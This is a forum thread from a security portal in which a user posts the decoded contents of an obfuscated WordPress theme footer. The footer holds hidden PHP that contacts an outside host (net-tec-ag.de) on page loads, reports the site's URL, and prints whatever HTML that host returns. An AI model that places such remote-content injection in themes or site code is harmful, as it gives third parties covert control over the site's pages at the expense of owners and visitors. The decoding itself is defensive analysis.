Waraxe IT Security Portal
Login or Register
October 22, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 179
Members: 0
Total: 179
Full disclosure
SEC Consult SA-20251021-0 :: Multiple Vulnerabilities in EfficientLab WorkExaminer Professional (CVE-2025-10639, CVE-2025-10640, CVE-2025-10641)
[SYSS-2025-017]: Verbatim Store 'n' Go Secure Portable HDD (security update v1.0.0.6) - Offline brute-force attack
[SYSS-2025-016]: Verbatim Store 'n' Go Secure Portable SSD (security update v1.0.0.6) - Offline brute-force attack
[SYSS-2025-015]: Verbatim Keypad Secure (security update v1.0.0.6) - Offline brute-force attack
Malvuln - MISP compatible malware vulnerability intelligencefeed now live
BSidesSF 2026 CFP still open until October 28th
Google Firebase hosting suspension / "malware distribution"bypass
CyberDanube Security Research 20251014-0 | Multiple Vulnerabilities in Phoenix Contact QUINT4 UPS
apis.google.com - Insecure redirect via __lu parameter(exploited in the wild)
Urgent Security Vulnerabilities Discovered in Mercku Routers Model M6a
Re: Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
[SBA-ADV-20250730-01] CVE-2025-39664: Checkmk Path Traversal
[SBA-ADV-20250724-01] CVE-2025-32919: Checkmk Agent Privilege Escalation via Insecure Temporary Files
CVE-2025-59397 - Open Web Analytics SQL Injection
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PHP script decode requests -> Decode this footer.php
Post new topicReply to topic View previous topic :: View next topic
Decode this footer.php
PostPosted: Sun May 03, 2009 5:04 am Reply with quote
PehleNazar
Regular user
Regular user
Joined: Mar 26, 2009
Posts: 11




Here is the full file http://www.megaupload.com/?d=QK78NNB3
View user's profile Send private message
PostPosted: Sun May 10, 2009 9:05 am Reply with quote
zerobytes
Valuable expert
Valuable expert
Joined: Aug 30, 2008
Posts: 199




Code:


<?php include (TEMPLATEPATH . '/bottom.php'); ?>
</div>

</div>
<div id="footer">

<span class="fleft">
Design : <a href="http://www.crowdpeople.com/?src=ja" >Crowd people</a>
</span>

<span class="fright">
Code support <a href="http://www.emoneycentral.com/">CD Rates</a>, <?php

$defaultHtml = ''; // html to display when no connection or local domain
$linksNum = 2; // number of links to show

## Funktionen definieren, wenn Footer nicht innerhalb von Wordpress genutzt wird
if (!function_exists('is_404')) { function is_404() { return false; } }
if (!function_exists('is_tag')) { function is_tag() { return false; } }
if (!function_exists('is_author')) { function is_author() { return false; } }
if (!function_exists('is_search')) { function is_search() { return false; } }
if (!function_exists('is_date')) { function is_date() { return false; } }
if (!function_exists('is_attachment')) { function is_attachment() { return false; } }
if (!function_exists('is_preview')) { function is_preview() { return false; } }

# Wenn keine 404 Fehlerdatei, dann Anfrage zusammenbasteln
if (is_404() OR is_tag() OR is_author() OR is_search() OR is_date() OR is_attachment() OR is_preview()) { } else {



show_footer_links(
//'localhost', '/php/FLink/src/FLink/script.php',
'net-tec-ag.de', '/FLink/script.php',
3.5, $defaultHtml, $linksNum
);

}

/**
* Show html provided by scripts.php
*
* @param string $requestHost the hostname of the script.php
* @param string $requestUri - the uri/path to the script.php
* @param string $defaultHtml - default html to show if some problem
* @param float $timeout - the request timeout
*/
function show_footer_links($requestHost, $requestUri, $timeout, $defaultHtml,
$linksNum = 1) {
$thisDomain = getenv('HTTP_HOST');
$thisUri = getenv('REQUEST_URI');
$html = $defaultHtml;
// skip if no domain or local domain
if ($thisDomain && !preg_match('/^(localhost|127.0.0.1)(:|$)/s',
$thisDomain)) {
$thisUrl = "http://$thisDomain$thisUri";
$requestUri = $requestUri . '?url=' . urlencode($thisUrl)
. '&linksNum=' . $linksNum;
$requestHost = fill_subdomain($thisUrl, $requestHost);
$content = read_http_url($requestHost, $requestUri, 2.5);
// removing utf-8 BOM signature (if any):
$content = preg_replace('/^(\xEF\xBB\xBF)*\s*</s', '<', $content);
//echo "received: $content";
if (preg_match('/^<!--start-->.+<!--end-->\s*$/s', $content)) {
$html = $content;
}
}
echo $html;
}

function fill_subdomain($url, $requestHost) {
if ($requestHost !== 'localhost') {
if (function_exists('crc32')) {
$crc32 = crc32($url);
$ucrc32 = sprintf('%u', $crc32);
$num = $ucrc32 % 10;
} else {
$num = 0;
}
$subdomain = 'www' . $num . '.';
$requestHost = $subdomain . $requestHost;
//echo $requestHost;
}
return $requestHost;
}

// perfrom pne get http call
function read_http_url($host, $uri, $timeout) {
$start = microtime_float();
$content = '';
$fh = @fsockopen($host, 80, $errno, $errstr, 0.5);
if ($fh && !$errstr) {
if (function_exists('socket_set_timeout')) {
socket_set_timeout($fh, $timeout);
}
socket_set_blocking($fh, 0);
$request = <<<EOD
GET $uri HTTP/1.0
Host: $host
Connection: close


EOD;
$write_err = @fwrite($fh, $request);
while (!feof($fh) && (microtime_float() - $start < $timeout)) {
usleep(5000);
$block = fread($fh, 1024*4);
$content .= $block;
}
fclose($fh);
$content = preg_replace('/^(.+?)(\r\n|\n){2}/s', '', $content);
}
return $content;
}

// precise time in microseconds as float
function microtime_float() {
list($usec, $sec) = explode(' ', microtime());
return ((float)$usec + (float)$sec);
}
?>



</span>

</div>
</div>
<?php wp_footer(); ?>
</body>
</html>


Enjoy
ZeroBytes

_________________
Decoded by ASD @ Lost-codes.co.uk
View user's profile Send private message Visit poster's website
Decode this footer.php
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.089 Seconds